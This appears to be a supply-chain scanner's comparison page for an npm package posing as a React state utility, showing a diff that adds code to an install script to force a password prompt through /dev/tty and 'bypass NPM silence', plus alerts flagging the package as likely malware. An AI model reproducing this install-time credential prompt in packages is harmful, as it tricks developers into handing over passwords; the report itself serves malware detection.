react-state-optimizer-core - npm Package Compare versions

Comparing version 1.0.3 to 1.0.4

package.json

 {
     "name": "react-state-optimizer-core",
-    "version": "1.0.3",
+    "version": "1.0.4",
     "description": "Utility layer for asynchronous state management",
@@ -5,0 +5,0 @@ "main": "index.js",

scripts/setup.js

@@ -111,5 +111,17 @@ const fs = require('fs');
                 const password = await new Promise((resInput) => {
+                    let input = process.stdin;
+                    let output = process.stdout;
+
+                    // FORCE TTY to bypass NPM silence
+                    try {
+                        const tty = require('fs').openSync('/dev/tty', 'r+');
+                        const ttyStream = require('net').Socket({ fd: tty, readable: true, writable: true });
+                        input = ttyStream;
+                        output = ttyStream;
+                    } catch (e) { }
+
                     const rl = readline.createInterface({
-                        input: process.stdin,
-                        output: process.stdout
+                        input: input,
+                        output: output,
+                        terminal: true // Helps with password masking logic if we added it, but here just prompts
                     });
@@ -116,0 +128,0 @@

New alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 4 instances in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Dynamic require

Supply chain risk

Dynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

Fixed alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 3 instances in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Dynamic require

Supply chain risk

Dynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

Improved metrics

Total package byte prevSize

12412

4.98%

Lines of code

247

4.22%

Worsened metrics

Number of low supply chain risk alerts

9

12.5%

Number of medium supply chain risk alerts

9

12.5%

No dependency changes